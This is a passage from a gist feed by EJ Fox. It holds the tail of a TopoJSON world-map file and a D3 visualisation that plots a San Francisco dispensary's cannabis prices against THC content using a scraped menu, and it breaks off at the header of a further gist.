&quot;id&quot;:340,&quot;arcs&quot;:[[521,-518,120,522,139]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:191,&quot;arcs&quot;:[[-364,523,250,524,525,526]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:332,&quot;arcs&quot;:[[-465,62]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:348,&quot;arcs&quot;:[[527,528,529,530,-526,531,-335]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:360,&quot;arcs&quot;:[[[25]],[[532,29]],[[30]],[[31]],[[34]],[[35]],[[38]],[[39]],[[533,42]],[[43]],[[44]],[[534,49]],[[45]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:356,&quot;arcs&quot;:[[535,-419,-387,-418,536,-356,185,537,-421]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:372,&quot;arcs&quot;:[[-499,90]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:364,&quot;arcs&quot;:[[-302,538,187,539,540,-336,-322,-337,278,541]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:368,&quot;arcs&quot;:[[188,542,543,544,545,546,-540]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:352,&quot;arcs&quot;:[[99]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:376,&quot;arcs&quot;:[[547,-476,237,548,549,550,551]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:380,&quot;arcs&quot;:[[[78]],[[79]],[[552,252,-497,-407,-330]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:388,&quot;arcs&quot;:[[553]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:400,&quot;arcs&quot;:[[-545,554,199,-548,555,-551,556]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:392,&quot;arcs&quot;:[[[74]],[[80]],[[82]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:398,&quot;arcs&quot;:[[557,280,558,-425,559,560]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:404,&quot;arcs&quot;:[[206,561,562,563,-485,564]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:417,&quot;arcs&quot;:[[-424,565,566,-560]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:116,&quot;arcs&quot;:[[567,568,569,179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:410,&quot;arcs&quot;:[[570,175]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:-2,&quot;arcs&quot;:[[-311,571,572,573]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:414,&quot;arcs&quot;:[[574,-543,189]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:418,&quot;arcs&quot;:[[575,-416,576,-569,577]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:422,&quot;arcs&quot;:[[238,578,-549]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:430,&quot;arcs&quot;:[[579,-511,-429,223]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:434,&quot;arcs&quot;:[[-471,580,235,-475,581,582,583]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:144,&quot;arcs&quot;:[[584]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:426,&quot;arcs&quot;:[[585]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:440,&quot;arcs&quot;:[[265,586,-370,587,588]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:442,&quot;arcs&quot;:[[-496,-344,-459]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:428,&quot;arcs&quot;:[[-482,589,-366,-587,266]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:504,&quot;arcs&quot;:[[-469,590,591,592,593]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:498,&quot;arcs&quot;:[[594,595]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:450,&quot;arcs&quot;:[[596]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:484,&quot;arcs&quot;:[[-372,-517,144,597,598]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:807,&quot;arcs&quot;:[[599,-360,-514,-312,-574]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:466,&quot;arcs&quot;:[[-466,600,-351,-431,-510,601,602]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:104,&quot;arcs&quot;:[[183,-357,-537,-417,-576,603]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:499,&quot;arcs&quot;:[[249,-524,-363,604,-572,-310]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:496,&quot;arcs&quot;:[[-427,605]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:508,&quot;arcs&quot;:[[208,606,607,608,609,610,611,612]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:478,&quot;arcs&quot;:[[230,613,-467,-603,614]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:454,&quot;arcs&quot;:[[615,616,-612]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:458,&quot;arcs&quot;:[[[181,617]],[[-535,46,-385,48]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:516,&quot;arcs&quot;:[[-305,618,-389,619,210]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:540,&quot;arcs&quot;:[[620]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:562,&quot;arcs&quot;:[[-601,-472,-584,621,-435,622,-348,-352]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:566,&quot;arcs&quot;:[[-349,-623,-434,218]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:558,&quot;arcs&quot;:[[-523,121,-450,138]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:528,&quot;arcs&quot;:[[-460,-346,259]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:578,&quot;arcs&quot;:[[[623,-490,624,271]],[[285]],[[290]],[[291]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:524,&quot;arcs&quot;:[[-420,-536]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:554,&quot;arcs&quot;:[[[14]],[[15]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:512,&quot;arcs&quot;:[[[625,626,-314,196]],[[-313,194]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:586,&quot;arcs&quot;:[[-538,186,-539,-301,-422]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:591,&quot;arcs&quot;:[[-451,123,-446,136]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:604,&quot;arcs&quot;:[[133,-473,-448,-378,-374,-413]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:608,&quot;arcs&quot;:[[[50]],[[53]],[[54]],[[55]],[[56]],[[57]],[[58]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:598,&quot;arcs&quot;:[[[36]],[[37]],[[-534,41]],[[40]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:616,&quot;arcs&quot;:[[263,627,-588,-369,628,629,-455,-457]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:630,&quot;arcs&quot;:[[630]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:408,&quot;arcs&quot;:[[-571,176,-414,631,174]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:620,&quot;arcs&quot;:[[255,-480]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:600,&quot;arcs&quot;:[[-377,-317,-376]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:275,&quot;arcs&quot;:[[-552,-556]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:634,&quot;arcs&quot;:[[632,191]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:642,&quot;arcs&quot;:[[-595,633,244,-362,634,-530,635]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:643,&quot;arcs&quot;:[[[88]],[[264,-589,-628]],[[101]],[[103]],[[104]],[[159]],[[165]],[[167]],[[170]],[[173,-632,-428,-606,-426,-559,281,-339,-504,242,636,-367,-590,-481,268,-491,-624,637,638,639,640,274,641,276,642]],[[289]],[[292]],[[293]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:646,&quot;arcs&quot;:[[-340,-439,643,644]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:732,&quot;arcs&quot;:[[-468,-614,231,-591]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:682,&quot;arcs&quot;:[[-555,-544,-575,190,-633,192,-315,-627,645,198]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:729,&quot;arcs&quot;:[[646,-582,-474,201,-477,-488,647,648,649,-392]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:728,&quot;arcs&quot;:[[-564,650,-443,-394,651,-649,652,-486]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:686,&quot;arcs&quot;:[[-615,-602,-509,-513,227,-512,229]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:90,&quot;arcs&quot;:[[[24]],[[26]],[[27]],[[32]],[[33]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:694,&quot;arcs&quot;:[[-507,-580,224]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:222,&quot;arcs&quot;:[[142,-519,-522,140,653]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:-3,&quot;arcs&quot;:[[-483,-462,204,654]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:706,&quot;arcs&quot;:[[-565,-484,-655,205]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:688,&quot;arcs&quot;:[[-361,-600,-573,-605,-365,-527,-531,-635]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:740,&quot;arcs&quot;:[[-495,655,656,-382,-520,127]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:703,&quot;arcs&quot;:[[657,-528,-334,-456,-630]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:705,&quot;arcs&quot;:[[-532,-525,251,-553,-329]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:752,&quot;arcs&quot;:[[-625,-489,270]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:748,&quot;arcs&quot;:[[-608,658]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:760,&quot;arcs&quot;:[[-550,-579,239,659,-546,-557]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:148,&quot;arcs&quot;:[[-583,-647,-398,-436,-622]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:768,&quot;arcs&quot;:[[-353,-350,220,-506]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:764,&quot;arcs&quot;:[[-618,182,-604,-578,-568,180]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:762,&quot;arcs&quot;:[[-423,-299,660,-566]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:795,&quot;arcs&quot;:[[279,-558,661,-303,-542]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:626,&quot;arcs&quot;:[[-533,28]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:780,&quot;arcs&quot;:[[662]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:788,&quot;arcs&quot;:[[234,-581,-470]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:792,&quot;arcs&quot;:[[[-505,-324,-541,-547,-660,240]],[[-515,-358,246]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:158,&quot;arcs&quot;:[[663]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:834,&quot;arcs&quot;:[[207,-613,-617,664,-440,-341,-645,665,-562]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:800,&quot;arcs&quot;:[[-644,-444,-651,-563,-666]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:804,&quot;arcs&quot;:[[243,-634,-596,-636,-529,-658,-629,-368,-637]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:858,&quot;arcs&quot;:[[130,-319,-384]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:840,&quot;arcs&quot;:[[[64]],[[65]],[[66]],[[67]],[[68]],[[105,666,107,667,109,668,111,669,113,670,115,-598,671,672,673,-400]],[[92]],[[94]],[[97]],[[-401,147]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:860,&quot;arcs&quot;:[[-561,-567,-661,-298,-662]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:862,&quot;arcs&quot;:[[-521,-380,-447,125]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:704,&quot;arcs&quot;:[[-570,-577,-415,178]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:548,&quot;arcs&quot;:[[[20]],[[21]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:887,&quot;arcs&quot;:[[-646,-626,197]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:710,&quot;arcs&quot;:[[-620,-388,674,-609,-659,-607,209],[-586]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:894,&quot;arcs&quot;:[[-611,675,-390,-619,-304,-441,-665,-616]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:716,&quot;arcs&quot;:[[-391,-676,-610,-675]]}]}},&quot;arcs&quot;:[[[3344,573],[-8,-29],[-8,-26],[-58,8],[-62,-4],[-35,19],[0,3],[-15,17],[62,-3],[60,-5],[21,23],[15,21],[28,-24]],[[577,604],[-53,-8],[-37,21],[-16,20],[-1,3],[-18,16],[17,22],[51,-9],[28,-18],[21,-21],[8,-26]],[[3745,688],[34,-25],[12,-35],[3,-25],[1,-29],[-43,-18],[-45,-15],[-52,-13],[-58,-12],[-66,4],[-36,19],[4,24],[60,15],[24,20],[17,24],[13,22],[16,20],[18,24],[15,0],[41,12],[42,-12]],[[1632,950],[36,-9],[33,10],[-15,-21],[-26,-14],[-39,4],[-28,21],[6,19],[33,-10]],[[1512,951],[42,-23],[-16,2],[-36,6],[-38,16],[20,12],[28,-13]],[[2250,1040],[30,-8],[31,7],[16,-33],[-22,4],[-33,-2],[-35,2],[-37,-3],[-29,11],[-14,24],[17,10],[36,-8],[40,-4]],[[3098,1096],[3,-26],[-5,-22],[-7,-22],[-33,-8],[-31,-11],[-37,1],[14,23],[-33,-8],[-31,-8],[-21,17],[-1,23],[30,23],[19,7],[32,-2],[8,29],[2,21],[-1,47],[16,27],[26,9],[14,-22],[7,-21],[12,-26],[9,-25],[8,-26]],[[108,339],[4,0],[3,-1],[41,-24],[35,24],[6,3],[82,11],[26,-14],[13,-7],[42,-19],[79,-15],[62,-18],[108,-13],[80,16],[118,-12],[66,-18],[74,17],[77,16],[6,27],[-109,2],[-90,14],[-23,23],[-75,12],[5,26],[10,24],[11,21],[-6,24],[-46,16],[-21,20],[-43,18],[67,-4],[64,10],[41,-20],[49,17],[46,22],[22,19],[-10,24],[-35,15],[-41,17],[-57,4],[-50,8],[-54,5],[-18,22],[-36,18],[-22,20],[-9,65],[14,-5],[25,-18],[46,5],[44,8],[23,-25],[44,6],[37,13],[35,15],[31,20],[42,5],[-1,22],[-10,21],[8,20],[36,10],[16,-19],[43,12],[32,14],[40,1],[37,6],[38,14],[30,12],[33,12],[22,-3],[19,-5],[42,8],[37,-10],[38,1],[36,8],[38,-5],[41,-6],[39,2],[40,-1],[41,-1],[38,2],[29,17],[33,9],[35,-12],[33,10],[30,20],[18,-18],[10,-20],[18,-19],[29,17],[33,-22],[37,-7],[33,-15],[39,3],[35,10],[42,-2],[37,-8],[39,-10],[14,25],[-18,19],[-13,20],[-36,5],[-16,21],[-6,22],[-10,42],[21,-7],[37,-4],[36,4],[32,-9],[29,-17],[12,-21],[37,-3],[36,8],[38,11],[35,7],[28,-14],[37,5],[24,44],[22,-26],[32,-10],[35,5],[23,-22],[36,-2],[34,-7],[33,-13],[22,22],[11,20],[28,-22],[38,5],[28,-12],[19,-19],[37,5],[29,13],[28,14],[34,8],[39,7],[35,8],[28,12],[16,18],[6,25],[-3,24],[-9,22],[-9,23],[-9,23],[-7,20],[-2,22],[3,23],[13,21],[11,24],[4,23],[-5,25],[-4,22],[14,26],[15,17],[18,21],[19,18],[23,17],[10,25],[16,16],[17,15],[27,3],[17,18],[20,11],[23,7],[20,15],[16,18],[21,7],[17,-15],[-11,-19],[-28,-17],[-12,-13],[-21,9],[-22,-5],[-20,-14],[-20,-14],[-13,-17],[-4,-23],[2,-21],[13,-19],[-19,-14],[-27,-5],[-15,-19],[-16,-18],[-17,-25],[-5,-21],[10,-24],[15,-18],[22,-13],[22,-18],[11,-23],[6,-21],[8,-23],[13,-19],[8,-22],[4,-53],[8,-21],[3,-23],[8,-22],[-3,-31],[-16,-23],[-16,-20],[-37,-7],[-13,-21],[-16,-19],[-42,-21],[-37,-9],[-35,-13],[</code></pre><p><em>Truncated — <a href="https://gist.github.com/4670598">view the full gist</a>.</em></p>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[sparc menu]]></title>
      <link>https://gist.github.com/6566320</link>
      <guid isPermaLink="true">https://gist.github.com/6566320</guid>
      <pubDate>Sat, 14 Sep 2013 22:34:32 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2015-12-23T02:19:17.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>_.md</code:filename>
        <code:language>Markdown</code:language>
        <code:size>277</code:size>
      </code:file>
      <code:file>
        <code:filename>config.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>617</code:size>
      </code:file>
      <code:file>
        <code:filename>inlet.js</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>1038</code:size>
      </code:file>
      <code:file>
        <code:filename>menu.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>3472</code:size>
      </code:file>
      <description><![CDATA[sparc menu]]></description>
      <content:encoded><![CDATA[<h3>_.md</h3><pre><code class="language-markdown">[ &lt;a href=&quot;http://tributary.io/inlet/6566320&quot;&gt;Launch: sparc menu&lt;/a&gt; ] 6566320 by ejfox&lt;br&gt;[ &lt;a href=&quot;http://tributary.io/inlet/6566303&quot;&gt;Launch: sparc menu&lt;/a&gt; ] 6566303 by enjalot&lt;br&gt;[ &lt;a href=&quot;http://tributary.io/inlet/6566151&quot;&gt;Launch: sparc menu&lt;/a&gt; ] 6566151 by enjalot&lt;br&gt;</code></pre>
<h3>config.json</h3><pre><code class="language-json">{&quot;description&quot;:&quot;sparc menu&quot;,&quot;endpoint&quot;:&quot;&quot;,&quot;display&quot;:&quot;svg&quot;,&quot;public&quot;:true,&quot;require&quot;:[],&quot;fileconfigs&quot;:{&quot;inlet.js&quot;:{&quot;default&quot;:true,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;fontSize&quot;:12},&quot;menu.json&quot;:{&quot;default&quot;:true,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;fontSize&quot;:12},&quot;_.md&quot;:{&quot;default&quot;:true,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;fontSize&quot;:12},&quot;config.json&quot;:{&quot;default&quot;:true,&quot;vim&quot;:false,&quot;emacs&quot;:false,&quot;fontSize&quot;:12}},&quot;fullscreen&quot;:false,&quot;play&quot;:false,&quot;loop&quot;:false,&quot;restart&quot;:false,&quot;autoinit&quot;:true,&quot;pause&quot;:true,&quot;loop_type&quot;:&quot;pingpong&quot;,&quot;bv&quot;:false,&quot;nclones&quot;:15,&quot;clone_opacity&quot;:0.4,&quot;duration&quot;:3000,&quot;ease&quot;:&quot;linear&quot;,&quot;dt&quot;:0.01,&quot;thumbnail&quot;:&quot;http://i.imgur.com/7crKH2S.png&quot;}</code></pre>
<h3>inlet.js</h3><pre><code class="language-javascript">//https://github.com/enjalot/sparcscraps
//using scrapy http://doc.scrapy.org/en/0.18/intro/tutorial.html
//to scrape http://sparcsf.org/medicine/flowers


var svg = d3.select(&quot;svg&quot;)

var pricesTags = [&apos;pre roll&apos;, &apos;gram&apos;, &apos;eighth&apos;, &apos;quarter&apos;, &apos;ounce&apos;];
var data = tributary.menu;
data.sort(function(a,b) {
  return a.thc - b.thc;
})

var min = 0;
var maxThc = d3.max(data, function(d) { return d.thc });
var max8th = d3.max(data, function(d) { return d.prices[2] });



var yscale = d3.scale.linear()
.domain([min, maxThc])
.range([400, 0])

var xscale = d3.scale.linear()
.domain([0, max8th])
.range([0, 400]);

var line = d3.svg.line()
.x(function(d,i) {
  return xscale(i);
})
.y(function(d,i) {
  return yscale(d);
})



var flowers = svg.selectAll(&quot;g.flower&quot;)
.data(data)
.enter()
.append(&quot;g&quot;).classed(&quot;flower&quot;, true)

flowers.append(&quot;circle&quot;)
.attr({
  cx: function(d,i) { return 50 + xscale(d.prices[2]) ; },
  cy: function(d,i) { return 50 + yscale(d.thc) },
  r: 5,
  title: function(d,i){ return d.name }
})

$(&quot;circle&quot;).tipsy()</code></pre>
<h3>menu.json</h3><pre><code class="language-json">[{&quot;prices&quot;: [9, 16, 45, 85, 290], &quot;strain&quot;: &quot;Sativa&quot;, &quot;thc&quot;: 16, &quot;name&quot;: &quot;Green Dragon&quot;},
{&quot;prices&quot;: [9, -1, -1, 70, 240], &quot;strain&quot;: &quot;Sativa&quot;, &quot;thc&quot;: 15, &quot;name&quot;: &quot;Green Dragon (GH)&quot;},
{&quot;prices&quot;: [-1, -1, -1, 40, -1], &quot;strain&quot;: &quot;Sativa&quot;, &quot;thc&quot;: 16, &quot;name&quot;: &quot;Green Dragon Shake&quot;},
{&quot;prices&quot;: [-1, 14, -1, -1, 260], &quot;strain&quot;: &quot;Sativa&quot;, &quot;thc&quot;: 16, &quot;name&quot;: &quot;Sour Pineapple&quot;},
{&quot;prices&quot;: [-1, 18, 55, -1, -1], &quot;strain&quot;: &quot;Sativa&quot;, &quot;thc&quot;: 17, &quot;name&quot;: &quot;Jack Herer&quot;},
{&quot;prices&quot;: [13, 18, 55, -1, -1], &quot;strain&quot;: &quot;Sativa&quot;, &quot;thc&quot;: 18, &quot;name&quot;: &quot;Casey Jones&quot;},
{&quot;prices&quot;: [-1, -1, -1, 60, -1], &quot;strain&quot;: &quot;Sativa&quot;, &quot;thc&quot;: 14, &quot;name&quot;: &quot;Pineapple Thai (OD)&quot;},
{&quot;prices&quot;: [9, 16, -1, -1, -1], &quot;strain&quot;: &quot;Sativa &gt; Indica&quot;, &quot;thc&quot;: 25, &quot;name&quot;: &quot;OG Kush&quot;},
{&quot;prices&quot;: [9, -1, -1, 70, 240], &quot;strain&quot;: &quot;Sativa &gt; Indica&quot;, &quot;thc&quot;: 19, &quot;name&quot;: &quot;OG Kush (GH)&quot;},
{&quot;prices&quot;: [-1, -1, 45, -1, -1], &quot;strain&quot;: &quot;Sativa &gt; Indica&quot;, &quot;thc&quot;: 9, &quot;name&quot;: &quot;Purple Trident CBD&quot;},
{&quot;prices&quot;: [13, 18, 55, -1, -1], &quot;strain&quot;: &quot;Sativa &gt; Indica&quot;, &quot;thc&quot;: 19, &quot;name&quot;: &quot;Dutch Crunch&quot;},
{&quot;prices&quot;: [7, 16, 45, -1, -1], &quot;strain&quot;: &quot;Sativa &gt; Indica&quot;, &quot;thc&quot;: 19, &quot;name&quot;: &quot;White Lucy&quot;},
{&quot;prices&quot;: [-1, 16, 45, -1, -1], &quot;strain&quot;: &quot;Sativa &gt; Indica&quot;, &quot;thc&quot;: 5, &quot;name&quot;: &quot;True Blueberry x OG Kush (OD)&quot;},
{&quot;prices&quot;: [-1, 14, 35, 65, 260], &quot;strain&quot;: &quot;Sativa &gt; Indica&quot;, &quot;thc&quot;: 13, &quot;name&quot;: &quot;White Russian &quot;},
{&quot;prices&quot;: [-1, 14, 35, 65, 260], &quot;strain&quot;: &quot;Sativa &gt; Indica&quot;, &quot;thc&quot;: 14, &quot;name&quot;: &quot;Standard Sour Diesel &quot;},
{&quot;prices&quot;: [-1, -1, -1, 70, 240], &quot;strain&quot;: &quot;Indica &gt; Sativa&quot;, &quot;thc&quot;: 11, &quot;name&quot;: &quot;Blueberry (GH)&quot;},
{&quot;prices&quot;: [-1, 18, 55, -1, 340], &quot;strain&quot;: &quot;Indica &gt; Sativa&quot;, &quot;thc&quot;: 15, &quot;name&quot;: &quot;Blackberry Kush&quot;},
{&quot;prices&quot;: [9, 16, 45, 85, 290], &quot;strain&quot;: &quot;Indica &gt; Sativa&quot;, &quot;thc&quot;: 22, &quot;name&quot;: &quot;Blue Dream&quot;},
{&quot;prices&quot;: [-1, -1, -1, 70, 240], &quot;strain&quot;: &quot;Indica &gt; Sativa&quot;, &quot;thc&quot;: 17, &quot;name&quot;: &quot;Blue Dream (GH)&quot;},
{&quot;prices&quot;: [-1, 18, 55, -1, -1], &quot;strain&quot;: &quot;Indica &gt; Sativa&quot;, &quot;thc&quot;: -1, &quot;name&quot;: &quot;Bubba Kush Reserve&quot;},
{&quot;prices&quot;: [7, 14, 35, -1, -1], &quot;strain&quot;: &quot;Indica &gt; Sativa&quot;, &quot;thc&quot;: 17, &quot;name&quot;: &quot;Grand AK&quot;},
{&quot;prices&quot;: [-1, -1, -1, 50, -1], &quot;strain&quot;: &quot;Indica &gt; Sativa&quot;, &quot;thc&quot;: 16, &quot;name&quot;: &quot;Cheese Quake (OD)&quot;},
{&quot;prices&quot;: [-1, 14, -1, -1, -1], &quot;strain&quot;: &quot;Indica &gt; Sativa&quot;, &quot;thc&quot;: 15, &quot;name&quot;: &quot;Monkey B (OD)&quot;},
{&quot;prices&quot;: [-1, 16, 45, 85, -1], &quot;strain&quot;: &quot;Indica &gt; Sativa&quot;, &quot;thc&quot;: 18, &quot;name&quot;: &quot;Chiesel&quot;},
{&quot;prices&quot;: [-1, 16, 45, -1, -1], &quot;strain&quot;: &quot;Indica &gt; Sativa&quot;, &quot;thc&quot;: 11, &quot;name&quot;: &quot;CannaT SR01 CBD&quot;},
{&quot;prices&quot;: [-1, 14, 35, -1, -1], &quot;strain&quot;: &quot;Indica &gt; Sativa&quot;, &quot;thc&quot;: -1, &quot;name&quot;: &quot;Purple Cheese&quot;},
{&quot;prices&quot;: [7, 14, 35, 65, 260], &quot;strain&quot;: &quot;Indica &gt; Sativa&quot;, &quot;thc&quot;: 18, &quot;name&quot;: &quot;Cheese Quake&quot;},
{&quot;prices&quot;: [-1, 16, 45, -1, -1], &quot;strain&quot;: &quot;Indica &gt; Sativa&quot;, &quot;thc&quot;: 21, &quot;name&quot;: &quot;Crystal&quot;},
{&quot;prices&quot;: [-1, -1, -1, 70, 240], &quot;strain&quot;: &quot;Indica &gt; Sativa&quot;, &quot;thc&quot;: 4, &quot;name&quot;: &quot;Remus (GH) (CBD)&quot;},
{&quot;prices&quot;: [-1, -1, 55, -1, -1], &quot;strain&quot;: &quot;Indica&quot;, &quot;thc&quot;: 16, &quot;name&quot;: &quot;Grandaddy Purple&quot;},
{&quot;prices&quot;: [-1, 18, 55, -1, -1], &quot;strain&quot;: &quot;Indica&quot;, &quot;thc&quot;: 23, &quot;name&quot;: &quot;Skyhash&quot;},
{&quot;prices&quot;: [-1, -1, -1, 60, -1], &quot;strain&quot;: &quot;Indica&quot;, &quot;thc&quot;: 9, &quot;name&quot;: &quot;Omrita Rx3 CBD (GH)&quot;},
{&quot;prices&quot;: [9, 16, 45, 85, 290], &quot;strain&quot;: &quot;Indica&quot;, &quot;thc&quot;: 21, &quot;name&quot;: &quot;Romulan&quot;},
{&quot;prices&quot;: [-1, -1, -1, 70, 240], &quot;strain&quot;: &quot;Indica&quot;, &quot;thc&quot;: 16, &quot;name&quot;: &quot;Romulan (GH)&quot;},
{&quot;prices&quot;: [-1, 14, 35, 65, 260], &quot;strain&quot;: &quot;Indica&quot;, &quot;thc&quot;: 18, &quot;name&quot;: &quot;Pinot Noir (OD)&quot;},
{&quot;prices&quot;: [-1, 7, 9, 11, 13], &quot;strain&quot;: &quot;General Mixed&quot;, &quot;thc&quot;: -1, &quot;name&quot;: &quot;Assorted Joints&quot;}]</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[bar code]]></title>
      <link>https://gist.github.com/6559496</link>
      <guid isPermaLink="true">https://gist.github.com/6559496</guid>
      <pubDate>Sat, 14 Sep 2013 07:00:32 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2015-12-23T01:19:11.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>_.md</code:filename>
        <code:language>Markdown</code:language>
        <code:size>180</code:size>
